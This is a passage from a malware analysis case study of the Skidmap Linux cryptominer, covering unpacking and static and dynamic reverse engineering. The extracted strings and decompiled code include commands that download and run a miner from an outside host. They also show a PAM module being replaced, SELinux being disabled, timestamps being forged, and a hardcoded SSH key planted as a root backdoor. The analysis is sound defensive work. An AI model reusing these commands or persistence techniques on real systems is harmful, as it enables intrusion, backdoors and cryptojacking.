<pre>remnux@remnux:~/Downloads/Skidmap\$ 7z x f005c2a40cdb4e020c354 c0c87b4090545c741e1705fcbc8ca120.zip</pre>	2eb51	Laef5	iba
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016 p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on CPUs Intel(R) Core(TM) i7-8750H CPU @ 2.20GHz (906EA),ASM,AES	-05-2 ,64 b -NI)	21 Dits,	2
Scanning the drive for archives: 1 file, 438999 bytes (429 KiB)			
Extracting archive: f005c2a40cdb4e020c3542eb51aef5bac0c87b409 05fcbc8ca120.zip	9545c	:741e	17
Path = f005c2a40cdb4e020c3542eb51aef5bac0c87b4090545c741e1705 zip Type = zip Physical Size = 438999	fcbc8	3ca12	20.
Enter password (will not be echoed): 58% - f005c2a40cdb4e020c3542eb51aef5bac0c87b4090545c741e1705	fcbc8	Bcal2	0.
Everything is Ok			
Size: 447900 Compressed: 438999			

Figure 5.1.1.2 – Decompressing the sample

5.1.2 Using "DIE"

"Detect It Easy" is a powerfull tool with numerous capabilities. It can be used for various steps of the "SAMA" methodology, replacing some command line tools that were traditionally being used in ELF malware analysis (s.a. "file", "readelf", "TrID", "strings" etc.). Thus, further investigation of the "Skidmap" sample was performed with this tool.

A 64-bit ELF executable of little endianness probably packed with "UPX" v3.91 software was detected. It was also concluded that it was stripped, since no sections were available (Figure 5.1.2.1). The "Strings" and "Entropy" features of "DIE" verified that the sample was packed.

Linux Malware	Analysis – A	Skidmap	case study
---------------	--------------	---------	------------

	Detect It Easy v3.00								×
File name									
ux/Downloads/Skidmap/f005	c2a40cdb4e020c3	542eb51aef5	bac0c87b4090545c74	le1705	fcbc8ca1	.20.e	lf		
File type Entry po	int		Base address					Hash	
ELF64 • 00000	00000466728	> Disas	m 0000000004	00000	Memory	y ma	p	String	s
ELF								Entrop	y)
Programs Section							ſ	Hex	
0002 > 00	0 >						_		
Scan	Endianness	Mode	Architecture		Туре				
Detect It Easy(DiE)	▼ LE	64	AMD64		EXEC				
packer	UPX	(3.91)[NRV,b	orute]			S	?		
compiler gcc((Ub	intu 5.4.0-6u[]1~1	6m ��� 12)1 20"0[]9)[EXEC AMD6	54-64]		s		Onting	
								Optior	is
Signatures			Deep	scan	Sca	n		Abou	t
100	6	>	Log 33 m	isec	bea			Exit	

Figure 5.1.2.1 – Viewing sample characteristics on "DIE"

Although the hashed that derive from this sample were already known (since they are provided by "Malware Bazaar" webpage), they were verified using the "Hash" feature of "DIE" (Figure 5.1.2.2), replicating the procedure that would occur if the sample was unknown. Additionally, the software calculated the hash of each program segment.

	Hash								
Type ELF64 ▼ Hash	Method MD5 👻	Offset	Size	d59c					
8f6e5795ab79d72	o2a12f3069001eb60								
Name	Offset		Size	Hash					
Segment(0)	00000000	0000000	000000000066f25	03a137779571e184bc25c9ab710		5			
						Close	:		

Figure 5.1.2.2 – The MD5 hash of the sample

5.1.3 Calculating the "ssdeep" checksum

For the "ssdeep" calculation, the "ssdeep" command line tool had to be used, since "DIE" does not perform that kind of inspection. The following command was given:

• \$ ssdeep <filepath>

Next, the output was compared with the repository's calculations (Figure 5.1.3.1). As expected, they were matching.

						remnux@remnux: ~	-		×
File	Edit	View	Search	Terminal	Help				
remn 45c7 ssde 1228 map/ remn	ux@re 41e17 ep,1. 3:pmd f005c ux@re	mnux: 05fcb 1bl r+CoY 2a40c mnux:	~\$ ssde c8cal20 ocksize /Eq2WP db4e020 ~\$	eep Down 9.elf e:hash:ha 7X7gPxaKI 9c3542eb!	loads/Sk ash,file MSQzo9Dy 51aef5ba	idmap/f005c2a40cdb4e020c3542eb51aef5bac(name aAKs:Wr+CHEXwKMyHAKs,"/home/remnux/Down c0c87b4090545c741e1705fcbc8ca120.elf"	0c87 load	'b409 s/Sk	05 .id

Figure 5.1.3.1 – Calculating "ssdeep"

5.1.4 Applying "YARA" rules

Unfortunately, the "YARA" rules that were applied to check the sample, did not identify any of its characteristics or functionalities (Figure 5.1.4.1). The command given was

	•	\$ yar	a-rule	s <filep< th=""><th>ath></th><th></th><th></th><th></th></filep<>	ath>			
-								
					remnux@remnux: ~	-		×
File	Edit	View	Search	Terminal	Help			
remn fcbc remn	ux@re 8cal2 ux@re	emnux: 20.elf emnux:	~\$ yara ~\$	a-rules	Downloads/Skidmap/f005c2a40cdb4e020c3542eb51aef5bac0c87b409054	5c74	1e17	705

Figure 5.1.4.1 – Applying "YARA" rules

5.1.5 Antivirus

The sample was then scanned with the "ClamAV" antivirus, which identified it as "Unix.Trojan.Skidmap-9811570-0" (Figure 5.1.5.1).

remnux@remnux: ~		×
File Edit View Search Terminal Help		
<pre>remnux@remnux:~\$ clamscan ~/Downloads/Skidmap/f005c2a40cdb4e020c3542eb51aef5bac0c87b4090545c7 fcbc8ca120.elf</pre>	1e17	705
/home/remnux/Downloads/Skidmap/f005c2a40cdb4e020c3542eb51aef5bac0c87b4090545c741e1705fcbc8ca1 Unix.Troian.Skidmap-9811570-0 FOUND	20.el	lf:
/home/remnux/Downloads/Skidmap/f005c2a40cdb4e020c3542eb51aef5bac0c87b4090545c741e1705fcbc8ca1 Unix.Trojan.Skidmap-9811570-0 FOUND	20.el	lf:
SCAN SUMMARY		
Known viruses: 8690537		
Engine version: 0.102.4		
Scanned directories: 0		
Scanned files: 1		
Infected files: 1		
Data scanned: 1.74 MB		П
Data read: 0.43 MB (ratio 4.08:1)		
Time: 23.331 sec (0 m 23 s)		
remnux@remnux:~\$		

Figure 5.1.5.1 – Scanning "Skidmap" sample with "ClamAV" anti-virus engine

Moreover, the SHA256 hash of the sample was submitted to "VirusTotal" online platform, where 24 engines identified it as malicious (Figure 5.1.5.2).



Figure 5.1.5.2 – Searching SHA256 hash on "VirusTotal"

5.1.6 Unpacking

"Vanilla UPX" packed samples (not packed with custom "UPX") can be unpacked with the "upx" command line tool (Figure 5.1.6.1). The command given was:

\$ upx -d <filepath> -o <output path>



Figure 5.1.6.1 – Unpacking "UPX" packed sample

5.1.7 Unpacked sample classification

The "Classification" stage was repeated for the unpacked sample (Table 5.1.7.1).

Table 5.1.7.1 –	Classification	findings

Туре	Finding
MD5	9e6f454fd1ead5c0abcd4eec173d571e
SHA256	528d3b624ad90d0677214ee17b740c94193dde56aa675f53c03d25a58f45583d
sedeen	24576:KOc51pm37C1xmrIOA+3GarpxJLvw0sMomxPC:
ssueep	KOc51pm37C1xaIOA+3GanJLvgMom
	Idpreload
YARA-rules	Big_Numbers1
	MD5_Constants
clamscan	Unix.Trojan.Skidmap-9811570-0 FOUND
entrypoint	0x400de0
compiler	gcc-5 (5.4.0-6ubuntu1~16.04.12)

The "unpacked_sample" was not stripped and the section headers along with the unpacked program headers were available for further analysis.

Additionally, 34 engines classified the unpacked sample as malicious (Figure 5.1.7.1).



Figure 5.1.7.1 – Checking "unpacked_sample" on VirusTotal

Most importantly, strings were no longer unreadable, and crucial information was extracted by applying "http", "ip", "root", "cron" and other neutral and Unix oriented keywords as filters to the corresponding field of "DIE" (Figure 5.1.7.2).

				Strings	-		×	:
0x000	00000 - 0x0	0136ccf (0)	×001	.36cd0) 🗸 ANSI 🗸 Unicode	• [Sea	rch]
	Offset 🔺	Size	Гуре	String]
1793	000a8028	0000037	Α	curl -fs http://a.powerofwish.com/%s -o /usr/include/%s				
1794	000a8060	00000036	Α	wget -c http://a.powerofwish.com/%s -O /usr/include/%s				
1795	000a8098	0000036	Α	cur -fs http://a.powerofwish.com/%s -o /usr/include/%s				
1796	000a80d0	0000036	А	url -fs http://a.powerofwish.com/%s -o /usr/include/%s				
1797	000a8108	0000035	А	wge -c http://a.powerofwish.com/%s -O /usr/include/%s				
1798	000a8140	0000035	Α	get -c http://a.powerofwish.com/%s -O /usr/include/%s				
1802	000a81f8	0000005f	Α	curl -fs http://a.powerofwish.com/miner2 -o /tmp/miner2 && chmod 755 /tmp/miner2 && /tmp/miner2				
1803	000a8258	0000005e	Α	wget -c http://a.powerofwish.com/miner2 -O /tmp/miner2 && chmod 755 /tmp/miner2 && /tmp/miner2				
1804	000a82b8	0000005e	Α	cur -fs http://a.powerofwish.com/miner2 -o /tmp/miner2 && chmod 755 /tmp/miner2 && /tmp/miner2				1
1805	000a8318	0000005e	Α	url -fs http://a.powerofwish.com/miner2 -o /tmp/miner2 && chmod 755 /tmp/miner2 && /tmp/miner2				1
1806	000a8378	0000005d	А	get -c http://a.powerofwish.com/miner2 -O /tmp/miner2 && chmod 755 /tmp/miner2 && /tmp/miner2				1
1807	000a83d8	0000005d	А	wge -c http://a.powerofwish.com/miner2 -O /tmp/miner2 && chmod 755 /tmp/miner2 && /tmp/miner2				
1814	000a85c8	0000002f	А	killall -9 httpdz migrations crloger1 crloger27				
2501	000be038	00000077	А	TLS generation counter wrapped! Please report as described in <https: +source<="" bugs.launchpad.net="" td="" ubuntu=""><td>/glibo</td><td>:/+bu</td><td>igs>.</td><td></td></https:>	/glibo	:/+bu	igs>.	
Filter								
http						Sat	ve 🗸	
Incep					_			
						Clo	se	J

Figure 5.1.7.2 – Applying "http" as filter

5.2 Code Analysis

Once the sample was successfully unpacked, it was in the appropriate form to be statically inspected via "Ghidra" software. Therefore, the file was imported, and upon success it was dragged and dropped on the code viewer (dragon icon). Automatic analysis was accepted on the prompted window. Since the file is statically linked, the procedure of analysis lasted more than usual. Then, the word "main" was applied as a filter on the "Symbol Tree" window.

At the same time, the file was dynamically examined using the "pwndbg" program. Once started, a breakpoint was set, and it the debugged file was executed. The commands used, were:

- \$ sudo gdb-pwndbg <filename>
- pwndbg> br main
- pwndbg> r

5.2.1 The "writepam" function

Delving deeper into this function, it was observed that the existence of "pam_unix.so" file was being checked by two separate "access" calls, one per directory that it could possibly be located. Those are "lib64/security" and "/lib/x86_64-linux-gnu/security" (Figure 5.2.1.1).

Linux Malware Analysis - A Skidmap case study



Figure 5.2.1.1 – Examining "pam_unix.so" existence

The access command is checking for different characteristics on the file, based on the given arguments [60] [61].

/* access function */					
#define F_OK	0	/*	test	for	existence of file */
#define X_OK	0x01	/*	test	for	execute or search permission */
#define W_OK	0x02	/*	test	for	write permission */
#define R_OK	0x04	/*	test	for	read permission */

Figure 5.2.1.2 – access arguments

Right after, the path to "pam_unix.so" file, was passed on "fopen64" along with "wb" parameters [62]. The purpose of this part of code is to prepare the file for being written, and consequently, an "fwrite" call followed. Either "binarypam8" or "binarypam" can be written on the "pam_unix.so" depending on the argument that was initially passed on "writepam" function. However, the first time that "writepam" was encountered, "writepam(0)" was called, which means that the "binarypam" branch was selected. After replacing the "pam_unix.so" [63], the opened file was closed, with an "fclose" call (Figure 5.2.1.3).

```
fopen64_wb-pam_unix.so = fopen64((char *)pam_unix-path, "wb");
if (fopen64_wb-pam_unix.so == (FILE *)0x0) goto LAB_00401230;
if (writepam_parameter == 8) {
  fwrite(&binarypam8,0x2b7f8,1,fopen64_wb-pam_unix.so);
}
else {
  fwrite(&binarypam,0x23be3,1,fopen64_wb-pam_unix.so);
}
fclose(fopen64_wb-pam_unix.so);
Figure 5.2.1.3 - Replacing system's "pam_unix.so"
```

Both "binarypam8" and "binarypam" were extracted to be further analyzed. In order for the analysis to take place, the "Select" option from the menu bar was selected, along with the "Bytes…" choice of the drop-down menu. Then the "Select Forward" method was chosen and the value "178168" was inserted on the "Length" field of "Byte Selection" according to the value appearred on Ghidra (Figure 5.2.1.4).

	binarypam8	XREF[3]:	Entry Point(⁾ writepam:004(writepam:004(83 84 85	0; _s = fopen64((char *)local_78,"wb"); if (_s == (FILE *)0x0) goto LAB_00401230; if (normal == 0).f
006d20a0 7f 006d20a1 45 006d20a2 4c	?? 7Fh [] ?? 45h E ?? 4Ch L		wiitepam.004	=	87 88 88	<pre>if (param_1 == 0) { fwrite(Sbinarypam8,0x2b7f8,1,s); } else { </pre>
006d20a3 46 006d20a4 02 006d20a5 01	Select Bytes		×		90 91	fwrite(&binarypam,0x23be3, } folooo() dword_2B7F8h_178168
006d20a6 01 006d20a7 00 006d20a8 00	By Method Byte S	election g Address:			92 93 94 95	local_c8.actime = 0x4f4595cc local_c8.modtime = 0x4f4595cc utime((char *)local 78.6loca wchar36[] LE u"[",02,00 utime((char *)local 78.6loca wchar32] E u"["
006d20a9 00 006d20aa 00 006d20ab 00	O To Address O Select Backward	n: 178168	Dec		96 97 98	fd = access("/usr/sbin/set if (fd == 0) { LAB_004012c0:
006d20ac 00 006d20ad 00 006d20ae 00	Select Bytes	niss			99 00 01	<pre>local_b8 = 0x726f666e65746573; local_b0 = CONCAT35(uStack1721_3_,0x30206563); system((char *)&local_b8);</pre>

Figure 5.2.1.4 – "Selecting the "binarypam" bytes

Next, the selected bytes were "right clicked" and the "Copy Special..." option was selected. On the new prompted window, the choice "Byte Sting" format was applied (Figure 5.2.1.5).

Linux Malware Analysis – A Skidmap case study

Copy Special ×	
Select Format	
Labels and Comments Labels	
Byte String	
Byte String (No Spaces) Address	
	J
O <u>K</u> <u>C</u> ancel	

Figure 5.2.1.5 – Selecting format

The selected bytes were pasted on the "REMnux" preinstalled software, named "CyberChef" and there the option "From Hex" was selected from the "Operations" menu (Figure 5.2.1.6). The "CyberChef" output was then saved to disk, as "binarypam8".

The same process was repeated for the "binarypam" file.

In	put	t																			sta e leng	art: end: jth:	439) 439)	211 211 0	le 1	ngth ines	: 43! :	9211 1		-	+		1 8	•	Î	
7f	45	4c	46	02	01	01	00	00	00	00	00	00	00	00	00	03	00	3e	00	01	00	00	00	60	23	00	00	00	00	00	00	40	00	00	00	00
00	00	00	28	10	02	00	00	00	00	00	00	00	00	00	40	00	38	00	06	00	40	00	25	00	22	00	01	00	00	00	05	00	00	00	00	00
00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	4c	ab	00	00	00	00	00	00	4c	ab	00	00	00	00	00
00	00	00	20	00	00	00	00	00	01	00	00	00	06	00	00	00	00	b0	00	00	00	00	00	00	00	b0	20	00	00	00	00	00	00	b0	20	00
00	00	00	00	10	07	00	00	00	00	00	00	60	с7	00	00	00	00	00	00	00	00	20	00	00	00	00	00	02	00	00	00	06	00	00	00	f8
b1	00	00	00	00	00	00	f8	b1	20	00	00	00	00	00	f8	b1	20	00	00	00	00	00	e0	01	00	00	00	00	00	00	e0	01	00	00	00	00
00	00	08	00	00	00	00	00	00	00	04	00	00	00	04	00	00	00	90	01	00	00	00	00	00	00	90	01	00	00	00	00	00	00	90	01	00
00	00	00	00	00	24	00	00	00	00	00	00	00	24	00	00	00	00	00	00	00	04	00	00	00	00	00	00	00	50	e5	74	64	04	00	00	00
64	a0	00	00	00	00	00	00	64	a0	00	00	00	00	00	00	64	a0	00	00	00	00	00	00	94	01	00	00	00	00	00	00	94	01	00	00	00
00	00	00	04	00	00	00	00	00	00	00	51	e5	74	64	06	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	08	00	00	00	00	00	00	00	04	00	00	00	14	00	00
00	03	00	00	00	47	4e	55	00	df	5e	3f	dc	00	17	9d	75	47	3e	3d	e8	5c	bf	db	8b	64	52	72	9c	00	00	00	00	08	00	00	00
63	00	00	00	01	00	00	00	06	00	00	00	03	18	81	0d	20	80	40	00	63	00	00	00	00	00	00	00	65	00	00	00	66	00	00	00	67
00	00	00	00	00	00	00	68	00	00	00	00	00	00	00	сO	95	59	e6	51	60	5e	42	db	ab	61	fc	cb	с6	1e	ff	0d	96	7a	32	77	f9
3d	4c	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	03	00	09	00	58	1d	00
00	00	00	00	00	00	00	00	00	00	00	00	00	38	02	00	00	12	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00
f4	02	00	00	12	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	95	00	00	00	12	00	00	00	00	00	00	00	00
66	റെ	66	00	66	00	00	00	00	00	00	60	00	66	66	12	66	00	00	66	66	00	00	66	00	00	00		66	66 0777	66	66	00	66	66	h7	62
Οι	ıtp	ut	P	9																						len li	gth: nes:	146	0ms 404 545	Ĩ	9	D	Ŀ	Ð		53
.EL	F.,					.>.		.`#		(<u>ð</u>																									
(•••			.@.;	8	.@.9	%."					• • •						l	<u>«</u> .		L(x				• • •	• • • •	• • • •	••••	· • •	• • •	• • °	•••		•	
	•••			`(Ç							.ø:	±		ر		(ð±																		
	ĉ	à		à				•••	• • •			• • •		••••	• •	• • •		•••		\$	• • •		.\$.			•••	• • •	Pá	åtd.	•••	.d		(: L	• • • •	d
	•••							•••	• • •	.Qå	td.	• • •		• • • •	• •	• • •		•••								• • •	• • •	• • • •	• • • •	••••	••••	0	SNU.	.ß^1	20.	uG
>=è	\¿(J.d	Rr.		• • •	c		•••	•••		• •																									
.@	. C	• • •		.е.	f	••••	g	•••	h			Α.	ſæQ	. vB(J«ai	ÌEÆ	.ÿ																			
.z2	WÙ=	=L.			• • •			•••	•••	•••		•••																								
.x.	•••	• • •				8	• • •	•••	• • •	•••		• • •	(j	• •	• • •		•••		• • •	• • •	• • •	• • •	• • •		• • •	• • •	••••	r	1				••••		
	•••	• • •	• • •	• • •	• • •	• • •	• • •		W	•••	• • •	• • •	• • •	••••	• •	• • •	• • •	•••	•••		• • •	• • •	•••	••••	ü	• • •	•••	••••	••••	••••		2	Z	••••	• • • •	
	•••	• • •	•••	• • •	• • •	•••	•••	•••	•••	•••	•••	• • •	•••	••••	• •	• • •		•••	(g	• • •	• • •	•••	• • •	•••	• • •		₽	• • • •				• • • •	••••	• • • •	
	•••	• • •	• • •	•••	• • •	(0	•••	•••	•••	• • •	• • •	•••	••••		• • •	• • •	•••	• • •	•••	• • •	• • •	•••	• •	•••	• • •	• • •	•••	• • • •	••••						
	• • •	• • •			•••	• • •	• • •	•••	•••	•••	•••	• • •	•••	M.	• •	• • •		•••		• • •	• • •	m	•••	•••	•••	•••	• • •	•••	• • • •				••••	•••	• • • •	
	. L .	• • •	• • •		• • •	• • •	• • •	•••	t	•••	•••		•••	••••	• •	• • •		•••		•••		• • •	•••	•••	3	•••	• • •	••••	• • • •	••••			d	••••	• • • •	
	•••	• • •	• • •	•••	• • •	• • •	 ć	•••	• • •	•••		N		••••	• •	• • •		•••		6	• • •	• • •	••••	• • •	• • •	•••	•••		••••	••••				••••		z.
	•••	• • •	• • •	• • •	• • •	• • •	0	•••	• • •	•••		• • •	•••	• • • •	• •	• • •		•••		• • •	• • •	• • •	1	• • •	• • •	• • •	• • •	••••	• • • •	••••	¤.			••••		
	•••	• •														2								~												

Figure 5.2.1.6 – Converting copied bytes

Linux Malware Analysis – A Skidmap case study

Beneath those lines, there was code responsible for modifying the access and modification timestamps [64] of the file (Figure 5.2.1.7).

times.actime = 0x4f4595cd; times.modtime = 0x4f4595cd; utime((char *)pam_unix-path,×); Figure 5.2.1.7 - Setting access and modification timestamp

The actual timestamp (Figure 5.2.1.8) was being set to Thursday, 23 February 2012 1:26:37 AM , on both access and modification timestamps (Figure 5.2.1.7). It was concluded that the author implements this evasive technique to minimize the detection chances.

4F4595CD Convert hex timestamp to human date
 GMT: Thursday, 23 February 2012 1:26:37 AM
 Your time zone: Πέμπτη, 23 Φεβρουαρίου 2012 3:26:37 ΠΜ GMT+02:00
 Decimal timestamp/epoch: 1329960397
 Figure 5.2.1.8 – Converting UNIX hexadecimal to timestamp

The change of timestamps was verified using the command "stat pam_unix.so" while on the "lib/x84_64-linux-gnu/security" (Figure 5.2.1.9).

remnux@r	<mark>emnux:/lib/</mark>	x86_64-l	inux-gnu/	securi	ty\$ sta [.]	t pam_u	nix.so	
File:	pam_unix.so							
Size:	146403	Blo	cks: 288		IO Blo	ck: 4090	6 reg	gular file
Device:	801h/2049d	Ino	de: 31460	00	Links:	1		
Access:	(0644/-rw-r	'r) 🗆	Uid: (0/	root)	Gid:	(0,	/ root)
Access:	2012-02-22	20:26:37	.00000000	0 -050	0			
Modify:	2012-02-22	20:26:37	.00000000	0 -050	0			
Change:	2021-01-25	06:09:41	.16200600	0 -050	0			
Birth:	-							

Figure 5.2.1.9 – Verifying altered timestamps

Afterwards, two more "access" calls were checking the execute permissions of the "setenforce" file, whether it is located under either "/usr/sbin" or "/sbin" directories (Figure 5.2.1.10). The author aimed to execute the command "setenforce 0" and set "SELinux" to permissive mode [65] [66] if "setenforce" had such permissions.



Figure 5.2.1.10 – Checking "setenforce" for execute permission

However, since the access control was not being controled by SELinux on Ubuntu-based systems, "setenforce" could not be found, and therefore the control returned to main whithout executing the rest of the "writepam" code.

The rest of the code included a check for the "/etc/selinux/config" presence in a similar manner that the "pam_unix.so" file's presence was checked, so that "SELINUX=disabled", and "SELINUXTYPE=targeted" were written in it.

Before returning to "main", the modification and access time of the configuration file, would be set to the previously mentioned timestamp (page 52), calling once again the "utime" function.

5.2.2 The "writePublic" function

The "writepam" function was succeeded by the "writePublic". There, the sample performed another persistence technique by checking the existence of "/root/.ssh" directory. If the file did not exist, it would create it with read, write and execute permissions for user only (the hexadecimal value "0x1c0₁₆" can be translated to the octet "0700₈" or "-rwx-----" as UNIX permissions). Once it would be created, its contents could be modified with its own "authorized_keys", and therefore, make the system susceptible to remote SSH connections (Figure 5.2.2.1).

•	0x401422 <writepublic+82></writepublic+82>	call / ssh'	opendir < <mark>opendir</mark> >
•	0x401592 <writepublic+450> path: 0x4a7b36 <- '/root,</writepublic+450>	call /.ssh'	mkdir <m<mark>kdir></m<mark>
	<pre>mode: 0x1c0 0x401467 <writepublic+151> dirp: 0x0</writepublic+151></pre>	call	closedir <mark><closedir< mark="">></closedir<></mark>
	0x40147d <writepublic+173> file: 0x4a7b51 < '/root, oflag: 0x242 vararg: 0x180</writepublic+173>	<mark>call</mark> /.ssh/au	open64 < <mark>open64</mark> > uthorized_keys'

Figure 5.2.2.1 – Getting access to "/root/.ssh/authorized_keys"

The hardcoded ssh key was printed by inserting the command "x/2s 0x4a7dc8" in the "pwdbg" (Figure 5.2.2.2) command line, which can be translated as "show the next two variables as strings, beginning from the address provided".

						re	mnux@remnux: ~ _	•	×
File	Edit \	/iew	Search	Terminal	He	lp			
0× 0× 0× 0×	(40148 (40148 (40149 (40149 (40149 fd bu n:	8 <w d <w 2 <w 4 <w : 0x f: 0 0x1</w </w </w </w 	ritePu ritePu ritePu ritePu ffffff x4a7dc 8b	blic+184 blic+189 blic+194 blic+196 ff ₿ ← jae	> > > >	mov mov call 0x4a7e3	edx, 0x18b esi, 0x4a7dc8 edi, eax write <write> 3d</write>		
0× 0×	(40149 (40149	9 <w b <w< td=""><td>ritePu ritePu</td><td>blic+201 blic+203</td><td>> ></td><td>mov call</td><td>edi, ebx close <close></close></td><td></td><td></td></w<></w 	ritePu ritePu	blic+201 blic+203	> >	mov call	edi, ebx close <close></close>		
0× 0× 0×	(4014a (4014a (4014a	0 <w 5 <w a <w< td=""><td>ritePu ritePu ritePu</td><td>blic+208 blic+213 blic+218</td><td>> > ></td><td>mov mov call</td><td>esi, 1 edi, 0x4a7b41 access <access></access></td><td></td><td></td></w<></w </w 	ritePu ritePu ritePu	blic+208 blic+213 blic+218	> > >	mov mov call	esi, 1 edi, 0x4a7b41 access <access></access>		
pwndt 0x4a7 rwqBo kBpbm 0x4a7 cFTBo enkjw) g> X/ /dc8: c6trso jueEw /e90: DBil+D vr9cfs	2s 0 6UMB VtXX P2Wx WpkQ	x4a7dc "ssh peTWY8 Fnd/9k "4d/ l2RhFa 6NQ1n0	B -rsa AAA loM1082h ZzqBroS9 V7Ct5ecP GCHItInw NA9 root	AB31 4HZ4 ZMał So2V Pgm1 @doc	NzaClyc2 4daNJ1S8 kKh53URF WDRJDLbe tigYc0H/ clever\r	2EAAAADAQABAAABAQC/cj0tl7EKcIPBchQkU/qKSGbe7/ 3yB57Pt0HSUwG//SD5ahYf0T0InQpU5p7mnczql9UPX00 PoKus" ewE9ojb+v4R8C4xartjNLsyUXRwqgk1B6LKoLHXWUU55- /zMePw+aiXsYMbSzNtQswh3E0h7bpxq7hgilFTglfmrZy 1"	A9M 68V +Lo ybF	Tv Xu ae 45

Figure 5.2.2.2 – Printing the "/root/.ssh/authorized_keys

Upon releasing the file descriptor, the sample proceeded with checking the execute permission of the "/usr/bin/chattr" file and in case of failure, the execute permissions of /bin/chattr" file. The purpose of this procedure was to rename the original "/usr/binchattr" into "/usr/bin/t" and then to use this file in order to set the immutable filesystem attribute on the "authorized keys" file

(Figure 5.2.2.3). By setting this attribute, the malware author intended to make the file undeletable by root users [67].

```
close(__fd);
__fd = access("/usr/bin/chattr",1);
if (__fd != 0) {
    _fd = access("/bin/chattr",1);
    if (__fd != 0) {
        uVar2 = 0;
        goto LAB_00401505;
    }
}
system("/bin/mv /usr/bin/chattr /usr/bin/t");
system("/usr/bin/t +i /root/.ssh/authorized_keys");
uVar2 = 0;
goto LAB_00401505;
Firm 50000 Comming for the inert for the inert table of the inert
```

Figure 5.2.2.3 – Granting "authorized_keys" the immutable attribute

On the other hand, if the condition failed, the sample would check if it could execute "/usr/bin/chattr" or "/bin/chattr" and in case of success, the sample would proceed with the execution of "chattr –ia –R /root.ssh/". By inserting this command, the immutable and append attributes would be recursively removed from the contents of "/root/.ssh", so that they can be altered. Consequently, it would proceed with the removal of the "root/.ssh/authorized_keys" file in order to create the backdoor and add its own ssh-rsa key.

5.2.3 Debian

Another sophisticated procedure that was observed in this sample, was the existence of a routine that checked whether the infected system's OS Linux flavor was "CentOS" or "RedHat" based (Figure 5.2.3.1) [68] [69]. If the OS was identified as either of them, a separate function, named "centos" would be called. The "centos" function is analyzed in the next subsection (page 58).

```
do {
    ___fd = open("/etc/centos-release",0);
    if ((__fd < 1) && (__fd = open("/etc/redhat-release",0), __fd < 1)) {
        Figure 5.2.3.1 - OS detecting
        </pre>
```

On the other hand, if no "/etc/centos-release" or "/etc/redhat-release" was discovered, which means that the system should most likely be Debian based, the malware would search for the "tmp/miner2" file. If the miner was accessible, its MD5 would be calculated and compared to a hardcoded md5 checksum (Figure 5.2.3.2). The online research of this md5 checksum showed that it is connected with "skidmap" and is possibly another cryptocurrency miner (Figure 5.2.3.2 & Figure 5.2.3.3) [70] [71].

Linux Malware Analysis – A Skidmap case study

```
0x4007f5 <main+485>
                                  rsi, rbp
                          mov
   0x4007f8 <main+488>
                          rep stosd dword ptr [rdi], eax
   0x4007fa <main+490>
                          mov
                                 edi, 0x4a7cad
  0x4007ff <main+495>
                                 getmd5 <q
                          call
              ≪4a7cad ←
                         '/tmp/miner2'
        rdi:
        rsi: 0x7fffffffe300 ∢- 0x0
        rdx: 0x0
        rcx: 0x0
                                 esi, 0x4a81a8
   0x400804 <main+500>
                          mov
   0x400809 <main+505>
                          mov
                                 rdi, rbp
   0x40080c <main+508>
                          call
   0x400811 <main+513>
                          test
                                 eax, eax
   0x400813 <main+515>
                          mov
                                 r13d, eax
   0x400816 <main+518>
                          je
                                 main+1152 <main+1152
   0x40081c <main+524>
                          xor
                                 esi, esi
00:0000 rsi rbp rsp 0x7ffffffffe300 🛶 0x0
... i
  f 0
                 4007ff main+495
   f 1
                 401e76 generic start main+582
   f 2
                 402465
  ndbg> x/s 0x4a81a8
           "9c129d93f6825b90fa62d37b01ae3b3c"
0x4a81a8:
       Figure 5.2.3.2 – Dynamically searching for the other comparison operand
      Samples:
       ecb6f50245706cfbdc6d2098bc9c54f3 irabalance
```

9c129d93f6825b90fa62d37b01ae3b3c	pamdicks
5840dc51673196c93352b61d502cb779	ip6network
871a598f0ee903b4f57dbc5020aae293	systemd-network

Figure 5.2.3.3 – identifying the md5 hash

Upon successful comparison, the file permissions would be changed to "-rwxr-xr-x" via "chmod" command and the miner was executed (Figure 5.2.3.4). Efter the miner was executed, "Skidmap" would be terminated.

system("chmod 755 /tmp/miner2 && /tmp/miner2");
goto LAB_00400951;
Figure 5.2.3.4 - Changing file permissions and executing miner2

On the other hand, failure of locating the "tmp/miner2" file would trigger a series of attempts to download the desired binary as "tmp/miner2", change its permissions and finally execute it (Figure 5.2.3.5). The list of the tools that could be used to download the miner includes the following:

- /usr/bin/curl
- /usr/bin/wget
- /usr/bin/cur

- /usr/bin/url
- /usr/bin/get
- /usr/bin/wge

```
fd = access("/usr/bin/curl",0);
if (( fd == 0) || ( fd = access("/bin/curl",0), fd == 0)) {
  system(
        "curl -fs http://a.powerofwish.com/miner2 -o /tmp/miner2 && chmod 755 /tmp/miner2 &&
        /tmp/miner2"
        );
3
else {
   fd = access("/usr/bin/wget",0);
  if ((__fd == 0) || (__fd = access("/bin/wget",0), __fd == 0)) {
    system(
          "wget -c http://a.powerofwish.com/miner2 -0 /tmp/miner2 && chmod 755 /tmp/miner2 &&
          /tmp/miner2"
          ):
  }
  else {
     fd = access("/usr/bin/cur",0);
    if ((__fd == 0) || (__fd = access("/bin/cur",0), __fd == 0)) {
      system(
            "cur -fs http://a.powerofwish.com/miner2 -o /tmp/miner2 && chmod 755 /tmp/miner2
            && /tmp/miner2"
            ):
    }
    else {
       fd = access("/usr/bin/url",0);
      if ((__fd == 0) || (__fd = access("/bin/url",0), __fd == 0)) {
        system(
              "url -fs http://a.powerofwish.com/miner2 -o /tmp/miner2 && chmod 755
              /tmp/miner2 && /tmp/miner2"
              );
      }
      else {
          fd = access("/usr/bin/get",0);
        if (( fd == 0) || ( fd = access("/bin/get",0),                               fd == 0)) {
          system(
                "get -c http://a.powerofwish.com/miner2 -0 /tmp/miner2 && chmod 755
                /tmp/miner2 && /tmp/miner2"
                ):
        }
        else {
            fd = access("/usr/bin/wge",0);
          if ((__fd == 0) || (__fd = access("/bin/wge",0), __fd == 0)) {
            system(
